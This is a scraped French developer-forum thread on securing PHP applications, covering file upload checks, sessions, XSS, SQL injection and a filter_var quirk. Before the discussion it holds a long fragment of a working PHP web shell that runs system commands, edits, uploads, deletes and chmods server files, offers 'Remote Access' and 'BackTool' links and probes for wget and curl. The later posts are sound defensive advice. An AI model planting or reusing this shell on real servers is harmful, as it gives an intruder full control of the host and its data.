$shm_bytes_written = @shmop_write($shm_id, $data, $offset); if ($shm_bytes_written != strlen($data)) { echo "Couldn't write the entire length of data\n"; } if (!shmop_delete($shm_id)) { echo "Couldn't mark shared memory block for deletion."; } echo passthru("id"); shmop_close($shm_id); } else { echo "Module: <b>shmop</b> not loaded!</br>"; } } elseif (@$_GET['action'] == 'zipen') { $file = $_GET['file']; $zip = @zip_open("$chdir"."$file"); $msg = ''; if ($zip) { while ($zip_entry = zip_read($zip)) { $msg .= "Name: " . zip_entry_name($zip_entry) . "\n"; $msg .= "Actual Filesize: " . zip_entry_filesize($zip_entry) . "\n"; $msg .= "Compressed Size: " . zip_entry_compressedsize($zip_entry) . "\n"; $msg .= "Compression Method: " . zip_entry_compressionmethod($zip_entry) . "\n"; if (zip_entry_open($zip, $zip_entry, "r")) { echo "File Contents:\n"; $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)); echo "$buf\n"; zip_entry_close($zip_entry); } echo "\n"; } zip_close($zip); } } elseif (@$_GET['action'] == 'edit') { $file = $_GET['file']; $conteudo = ''; $filename = "$chdir"."$file"; $conteudo = @file_get_contents($filename); $conteudo = htmlspecialchars($conteudo); $back = $_SERVER['HTTP_REFERER']; echo "<p align=\"center\">Editing {$file} ...</p>"; echo "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse: collapse\" width=\"100%\" id=\"editacao\">"; echo "<tr>"; echo "<td width=\"100%\">"; echo "<form method=\"POST\" action=\"{$fstring}&action=save&chdir={$chdir}&file={$file}\">"; echo "<!--webbot bot=\"SaveResults\" u-file=\"_private/form_results.csv\" s-format=\"TEXT/CSV\" s-label-fields=\"TRUE\" --><p align=\"center\">"; print "<textarea rows=\"18\" name=\"S1\" cols=\"89\" style=\"font-family: Verdana; font-size: 10pt; border: 1px solid #000000\">{$conteudo}</textarea></p>"; echo "<p align=\"center\">"; echo "<input type=\"submit\" value=\"Save\" name=\"B2\" style=\"font-family: Tahoma; font-size: 10px; border: 1px solid #000000\"> "; echo "<input type=\"button\" value=\"Closes Publisher\" Onclick=\"javascript:window.location='{$fstring}&chdir={$chdir}'\" name=\"B1\" style=\"font-family: Tahoma; font-size: 10px; border: 1px solid #000000\"> "; echo "</form>"; echo "</td>"; echo "</tr>"; echo "</table>"; } elseif (@$_GET['action'] == 'save') { $filename = "$chdir".$_GET['file']; $somecontent = $_POST['S1']; $somecontent = stripslashes(trim($somecontent)); if (is_writable($filename)) { @$handle = fopen ($filename, "w"); @$fw = fwrite($handle, $somecontent); @fclose($handle); if ($handle && $fw) { $msg = "<font color=\"#000080\">{$_GET['file']}</font>, <font color=\"#008000\">edited successfully!</font>"; } } else { $msg = "<font color=\"#000000\">{$_GET['file']},</font> <font color=\"#FF0000\">cannot be written!</font>"; } } // Informações $cmdget = ''; if (!empty($_GET['cmd'])) { $cmdget = @$_GET['cmd']; } if (!empty($_POST['cmd'])) { $cmdget = @$_POST['cmd']; } $cmdget = htmlspecialchars($cmdget); function asdads() { $asdads = ''; if (@file_exists("/usr/bin/wget")) { $asdads .= "wget "; } if (@file_exists("/usr/bin/fetch")) { $asdads .= "fetch "; } if (@file_exists("/usr/bin/curl")) { $asdads .= "curl "; } if (@file_exists("/usr/bin/GET")) { $asdads .= "GET "; } if (@file_exists("/usr/bin/lynx")) { $asdads .= "lynx "; } return $asdads; } echo "<form method=\"POST\" name=\"cmd\" action=\"{$fstring}&action=cmd&chdir=$chdir\">"; echo "<fieldset style=\"border: 1px solid #000000; padding: 2\">"; echo "<legend>Informações cmd ripped by corey</legend>"; echo "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse: collapse; font-family: Tahoma; font-size: 10px\" width=\"100%\">"; echo "<tr>"; echo "<td width=\"8%\">"; echo "<p align=\"right\"><b>Sistema:</b> </td></p>"; echo "<td width=\"92%\"> {$OS}</td>"; echo "</tr>"; echo "<tr>"; echo "<td width=\"8%\">"; echo "<p align=\"right\"><b>Uname: </b></td></p>"; echo "<td width=\"92%\"> {$UNAME}</td>"; echo "</tr>"; echo "<tr>"; echo "<td width=\"8%\">"; echo "<p align=\"right\"><b>PHP: </b></td></p>"; echo "<td width=\"92%\"> {$PHPv}, <b>safe mode:</b> {$SafeMode}</td>"; echo "</tr>"; if (strtoupper(substr($OS, 0,3) != 'WIN')) { $Methods = asdads(); if ($Methods == '') { $Methods = "???"; } echo "<tr>"; echo "<td width=\"8%\">"; echo "<p align=\"right\"><b>Methods: </b></td></p>"; echo "<td width=\"92%\"> {$Methods}</td>"; echo "</tr>"; } echo "<tr>"; echo "<td width=\"8%\">"; echo "<p align=\"right\"><b>Ip: </b></td></p>"; echo "<td width=\"92%\"> {$IpServer}</td>"; echo "</tr>"; echo "<tr>"; echo "<td width=\"8%\">"; echo "<p align=\"right\"><b>Command: </b></td></p>"; echo "<td width=\"92%\"> <input type=\"text\" size=\"70\" name=\"cmd\" value=\"{$cmdget}\" style=\"font-family: Tahoma; font-size: 10 px; border: 1px solid #000000\"> <input type=\"submit\" name=\"action\" value=\"Send\" style=\"font-family: Tahoma; font-size: 10 px; border: 1px solid #000000\"></td>"; echo "</tr>"; echo "</table>"; echo "</fieldset></form>"; // Dir echo "<form method=\"POST\" action=\"{$fstring}&action=upload&chdir=$chdir\" enctype=\"multipart/form-data\">"; echo "<!--webbot bot=\"FileUpload\" u-file=\"_private/form_results.csv\" s-format=\"TEXT/CSV\" s-label-fields=\"TRUE\" --><fieldset style=\"border: 1px solid #000000; padding: 2\">"; if (is_writable("$chdir")) { if (strtoupper(substr($OS, 0,3) == 'WIN')) { echo "<legend>Dir <b>YES</b>: {$chdir} - <a href=\"#[New Dir]\" onclick=\"Mkdir('{$chdir}');\">[New Dir]</a> <a href=\"#[New File]\" onclick=\"Newfile('{$chdir}')\">[New File]</a> <a href=\"{$fstring}&action=cmd&chdir={$chdir}&cmd=$newuser\">[Remote Access]</a></legend>"; } else { echo "<legend>Dir <b>YES</b>: {$chdir} - <a href=\"#[New Dir]\" onclick=\"Mkdir('{$chdir}');\">[New Dir]</a> <a href=\"#[New File]\" onclick=\"Newfile('{$chdir}')\">[New File]</a> <a href=\"{$fstring}&action=backtool&chdir={$chdir}&write=yes\">[BackTool]</a></legend>"; } } else { if (strtoupper(substr($OS, 0,3) == 'WIN')) { echo "<legend>Dir NO: {$chdir} - <a href=\"#[New Dir]\" onclick=\"Mkdir('{$chdir}');\">[New Dir]</a> <a href=\"#[New File]\" onclick=\"Newfile('{$chdir}')\">[New File]</a> <a href=\"{$fstring}&action=cmd&chdir={$chdir}&cmd={$newuser}\">[Remote Access]</a></legend>"; } else { echo "<legend>Dir NO: {$chdir} - <a href=\"#[New Dir]\" onclick=\"Mkdir('{$chdir}');\">[New Dir]</a> <a href=\"#[New File]\" onclick=\"Newfile('{$chdir}')\">[New File]</a> <a href=\"{$fstring}&action=backtool&chdir={$chdir}&write=no\">[BackTool]</a></legend>"; } } if (@!$handle = opendir("$chdir")) { echo " I could not enters in the directory, <a href=\"{$fstring}\">click here!</a> for return to the original directory!</br>"; } else { echo " <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse: collapse; font-family: Tahoma; font-size: 10px\" width=\"100%\">"; echo " <tr>"; echo " <td width=\"100%\" style=\"font-family: Tahoma; font-size: 10px\" colspan=\"4\"> Upload:"; echo " <input type=\"file\" name=\"userfile\" size=\"91\" style=\"font-family: Tahoma; font-size: 10px; border-style: solid; border-width: 1\">"; echo " <input type=\"submit\" value=\"Send\" name=\"B1\" style=\"font-family: Tahoma; font-size: 10px; border: 1px solid #000000\"></td>"; echo " </tr>"; echo " <tr>"; echo " <td width=\"100%\" style=\"font-family: Tahoma; font-size: 10px\" colspan=\"4\"> </td>"; echo " </tr>"; echo " <tr>"; echo " <td width=\"100%\" style=\"font-family: Tahoma; font-size: 10px\" colspan=\"4\">"; if (@!$msg) { echo " <p align=\"left\">Messages</td>"; } else { echo " <p align=\"left\">$msg</td>"; } echo " </tr>"; echo " <tr>"; echo " <td width=\"100%\" colspan=\"4\"> </td>"; echo " </tr>"; echo " <tr>"; echo " <td width=\"9%\"> Perms</td>"; echo " <td width=\"49%\"> File </td>"; echo " <td width=\"10%\"> Size </td>"; echo " <td width=\"32%\"> Commands</td>"; echo " </tr>"; $colorn = 0; while (false !== ($file = readdir($handle))) { if ($file != '.') { if ($colorn == 0) { $color = "style=\"background-color: #FFCC66\""; } elseif ($colorn == 1) { $color = "style=\"background-color: #C0C0C0\""; } if (@is_dir("$chdir"."$file")) { $file = $file.'/'; $mode = 'chdir'; } else { $mode = 'edit'; } if (@substr("$chdir", strlen($chdir) -1, 1) != '/') { $chdir .= '/'; } if ($file == '../') { $lenpath = strlen($chdir); $baras = 0; for ($i = 0;$i < $lenpath;$i++) { if ($chdir{$i} == '/') { $baras++; } } $chdir_ = explode("/", $chdir); $chdirpox = str_replace($chdir_[$baras-1].'/', "", $chdir); } $perms = @fileperms ("$chdir"."$file"); if ($perms == '') { $perms = '???'; } $size = @filesize ("$chdir"."$file"); $size = $size / 1024; $size = explode(".", $size); if (@$size[1] != '') { $size = $size[0].'.'.@substr("$size[1]", 0, 2); } else { $size = $size[0]; } if ($size == 0) { if ($mode == 'chdir') { $size = '???'; } } echo "<tr>"; echo "<td width=\"9%\" $color> $perms</td>"; if (@is_writable ("$chdir"."$file")) { if ($mode == 'chdir') { if ($file == '../') { echo "<td width=\"49%\" $color> <b><a href=\"{$fstring}&chdir=$chdirpox\">$file</a></b></td>"; } else { echo "<td width=\"49%\" $color> <b><a href=\"{$fstring}&chdir={$chdir}{$file}\">$file</a></b></td>"; } } else { if (is_readable("$chdir"."$file")) { echo "<td width=\"49%\" $color> <b><a href=\"{$fstring}&action=edit&chdir=$chdir&file=$file\">$file</a></b></td>"; } else { echo "<td width=\"49%\" $color> <b>$file</b></td>"; } } } else { if ($mode == 'chdir') { if ($file == '../') { echo "<td width=\"49%\" $color> <a href=\"{$fstring}&chdir=$chdirpox\">$file</a></td>"; } else { echo "<td width=\"49%\" $color> <a href=\"{$fstring}&chdir={$chdir}{$file}\">$file</a></td>"; } } else { if (@is_readable("$chdir"."$file")) { echo "<td width=\"49%\" $color> <a href=\"{$fstring}&action=edit&chdir=$chdir&file=$file\">$file</a></td>"; } else { echo "<td width=\"49%\" $color> $file</td>"; } } } echo "<td width=\"10%\" $color> $size KB</td>"; if ($mode == 'edit') { echo "<td width=\"32%\" $color> <a href=\"#{$file}\" onclick=\"Rename('{$chdir}', '{$file}', '{$mode}')\">[Rename]</a> <a href=\"{$fstring}&action=del&chdir={$chdir}&file={$file}&type=file\">[Del]</a> <a href=\"#{$file}\" onclick=\"ChMod('$chdir', '$file')\">[Chmod]</a> <a href=\"#{$file}\" onclick=\"Copy('{$chdir}', '{$file}')\">[Copy]</a></td>"; } else { echo "<td width=\"32%\" $color> <a href=\"#{$file}\" onclick=\"Rename('{$chdir}', '{$file}', '{$mode}')\">[Rename]</a> <a href=\"{$fstring}&action=del&chdir={$chdir}&file={$file}&type=dir\">[Del]</a> <a href=\"#{$file}\" onclick=\"ChMod('$chdir', '$file')\">[Chmod]</a> [Copy]</td>"; } echo "</tr>"; if ($colorn == 0) { $colorn = 1; } elseif ($colorn == 1) { $colorn = 0; } } } closedir($handle); } ?> </table> </fieldset></form> <p align="center"> <a href="http://validator.w3.org/check?uri=referer"><img src="http://www.w3.org/Icons/valid-html401" alt="Valid HTML 4.01 Transitional" height="31" width="88"></a> </p> </body> </html>
Est ce que quelqu'un a des précisions pour savoir comment sécuriser un upload par PHP alors?Envoyé par Guardian_7
Moi je fais le test sur le name et sur le type de $_FILES pour vérifier que l'extension et le mime-type sont autorisés, mais apparement si on code l'entête d'un script et en le renommant .bmp ca marche quand même?
Tester le type MIME en faisant confiance au type fourni par le navigateur est une erreur. Je ne sais pas s'il y a des failles et peu importe, la méthode n'est pas bonne. Il faut vérifier le type MIME à partir du fichier lui-même, pas en se fiant aux informations données par le navigateur.
La seule information fiable est le nom du fichier temporaire (il est attribué par le serveur). Tout le reste est à revérifier par le script PHP.
Bonjour à tous,
Pour la vérification des "mime type" de fichier il faut en effet demander au serveur de nous répondre pour cela deux méthodes :
1) Utiliser la fonction system();
A : sous Linux : system('file -ib FichierEnQuestion.php')
B : sous Windows : Je ne sais pas désolé.
C : sous Mac : Idem je ne sais pas.
2) Utiliser la fonction finfo_file()
Pour plus d'information je vous recommande la documentation ni plus moins.
Ensuite pour les cookies, en effet je pense que la seule et unique chose que l'on peut donner à un cookie c'est l'identifiant de SESSION.
Bien sur il faut aussi être certain un maximum que l'identifiant de session appartient bien à celui qui le prétend.
Pour vérifier que c'est bien la bonne personne il peut y avoir plusieurs solutions certain préconise de récupérer le maximum d'information pour pouvoir tracer correctement la personne, et encore comme signaler quelque poste plus haut si l'attaquant passe par le même proxy et le même navigateur, ou qu'il falsifie ces informations le contrôle tombe à l'eau.
Après un attaquant peut-il modifier les valeurs des variables de session ? Je pense que non étant donné que les valeurs sont stocké sur le serveur et non pas coté client seul l'identifiant de session est coté client.
Bien sur si j'ai dit une bêtise plus grosse que moi il ne faut pas hésiter à me reprendre on est ici pour débattre et trouver, faire comprendre des solutions pour nous aider.
Il manque aussi la faille de type CSRF dans ce topic.
Ensuite pour la faille XSS, vous pouvez vous protégez en utilisant htmlentities ou htmlspecialchars.
Pour les injections SQL, convertir les quotes et doubles quotes avec les deux fonctions cité plus haut est un minimum, et utilise les fonctions de préparation de MySql et PgSql dès que possible. Vous pouvez aussi laissé magic_quotes_gpc s'occupé de cela mais il est déconseillé de le laissé activé non pas par sécurité mais pour des raisons de ressource.
Je finirais par la faille, plus particulière de la fonction filter_var mise en place depuis PHP 5.x (source : http://www.php-security.org/MOPB/PMOPB-45-2007.html)
Exemple simple :
Ceci va renvoyer vrai car le "\n" sera interprété par php grace aux doubles quotes et donc en pensant avoir une adresse mail valide alors que ce n'est pas le cas on s'expose à des soucis. Certes me direz-vous cette faille foncionne car on à écrit la chaîne en dur. Cette faille est lié à la faille des regex et de l'utilisation de l'option "e".
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7 <?php $var = "test@example.com\n"; var_dump(filter_var($var, FILTER_VALIDATE_EMAIL)); ?>
Voici la même fonction avec un autre code qui lui nous répondra correctement :
Cordialement Inazo.
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16 <?php if (!empty($_POST['mail'])){ if(filter_var($_POST['mail'], FILTER_VALIDATE_EMAIL)){ echo 'good'; } else echo 'Erreur'; } echo '<form method="post" action="" name="test"> <input type="text" value="" name="mail" size="40" /> <input type="submit" value="Envoyer" name="send" /> </form>'; ?>
À propos de la dernière faille, je me permets simplement de souligner que Stefan Esser est généralement très agressif mais que toutes ses accusations ne sont pas 100% fondées.
Dans le cas de filter_var, il est vrai que le fonctionnement est incorrect mais pour le moment je crois qu'aucune faille n'a été trouvée... Il n'est pas impossible qu'une faille finisse par être découverte à cause du fonctionnement incorrect, mais pour le moment ce n'est pas 100% une faille.
Au passage, faire echo direct d'une variable POST est une faille XSS
Oui, pour le echo du post mais c'était juste un script pour démontrer la faille du filter_var.
Cependant il est vrai que j'aurais du protéger ma variable contre le XSS pour que des débutant ne le fassent pas. je modifie d'ailleurs mon poste en conséquence.
Cordialement Inazo.
Envoyé par InazoDes problème de sécurité avec les sessions se posent également lorsque PHP est utilisé sur des serveurs mutualisés (ou "partagés entre plusieurs sites") et qu'il est exécuté en tant qu'utilisateur unique.Envoyé par Inazo
En pratique, c'est souvent l'utilisateur exécutant le daemon serveur qui exécute également PHP (Lorsque celui-ci est compilé en tant que module Apache notamment).
Il y a d'autres risques pour la sécurité.
Solution administrateur : A ma connaissance, le moyen le plus sûr de palier le problème est de compiler PHP en tant que CGI, et d'utiliser suPHP. Quelqu'un à d'autres infos là-dessus ?
Solution clients : Sauvegarder les sessions dans une base de données ou changer d'hébergeur si celui-ci n'a pas pris les dispositions nécessaires...
(...)
Pour le contrôle des sessions actives, c'est toujours la même illusion. Il n'est pas possible en l'état d'identifier deux interfaces clientes utilisant le même proxy. D'ailleurs, si c'était envisageable à partir d'un navigateur Web sans l'accord de l'utilisateur, ce serait pas légal.
Bref, cette technique est inéfficace.
Au mieux, on peut "cerner le coupable" lorsque le proxy est privé, et que l'attaque CSRF locale a déjà eu lieu.
Une solution plus approprié consiste à regénéré un identifiant de session en continue. (session_regenerate_id()).
(...)
magic_quotes_gpc() gourmant en ressources ??? Ne pas l'activer, c'est être confiant... très confiant (suicidaire...)...
Regénérer l'id de session en permanence pose des problèmes d'ergonomie : cela rend impossible l'utilisation des boutons suivant et précédent du navigateur...
En outre, je ne vois aucun avantage à l'activation de l'option magic_quotes. Cette protection est LARGEMENT INSUFFISANTE ET INADAPTÉE dans environ 100% des cas.
Par contre, en effet la base de données offre souvent une meilleure protection que le système de fichiers. Le souci est que les codes d'accès à la BDD sont de toute manière quelque part dans le système de fichiers, donc la base de données est accessible dès lors que l'on a accès au système de fichiers (je fais un léger raccourci).
T'as raison, j'ai pas pensé au niveau érgonomique..., mais c'est sûr, ce n'est pas du tout pratique.Envoyé par Yogui
Pour régler le problème, il suffit de regénérer les id à des intervals "plus long", et suite à un événement utilisateur non "récupérable", par exemple lorsqu'un formulaire a été posté avec succès.
Me suis totalement emmêlé les pincaux avec les magics quotes et la directive register_globals .Envoyé par Yogui
Parcontre pour l'utilisation des ressources, en dehors du fait qu'elles peuvent échapper ce qui l'est déjà... Ca doit pas consommer significativement, peut-être en ressources humaines
Plus de magic_quotes dans PHP6, et pour cause.
Encore faudrait-il avoir un accès total au système de fichier en question...Envoyé par Yogui
Tu pourrais être plus précis sur le scènar type ?
Ok
N'importe quelle faille décrite dans le Month of PHP Bugs permet d'exécuter du code. Avec un souci de config système en prime, tu as accès au système, et de là à la BDD.
Enfin bon, je ne suis pas non plus expert en sécurité...
[Edit]
Oui et non, car tu sembles oublier que même la transmission de formulaires peut se faire sans déranger la navigation au moyen de ces boutons.Envoyé par Guardian_7
Exemple ici : Formulaire réparti sur plusieurs pages
Vous avez un bloqueur de publicités installé.
Le Club Developpez.com n'affiche que des publicités IT, discrètes et non intrusives.
Afin que nous puissions continuer à vous fournir gratuitement du contenu de qualité, merci de nous soutenir en désactivant votre bloqueur de publicités sur Developpez.com.
Partager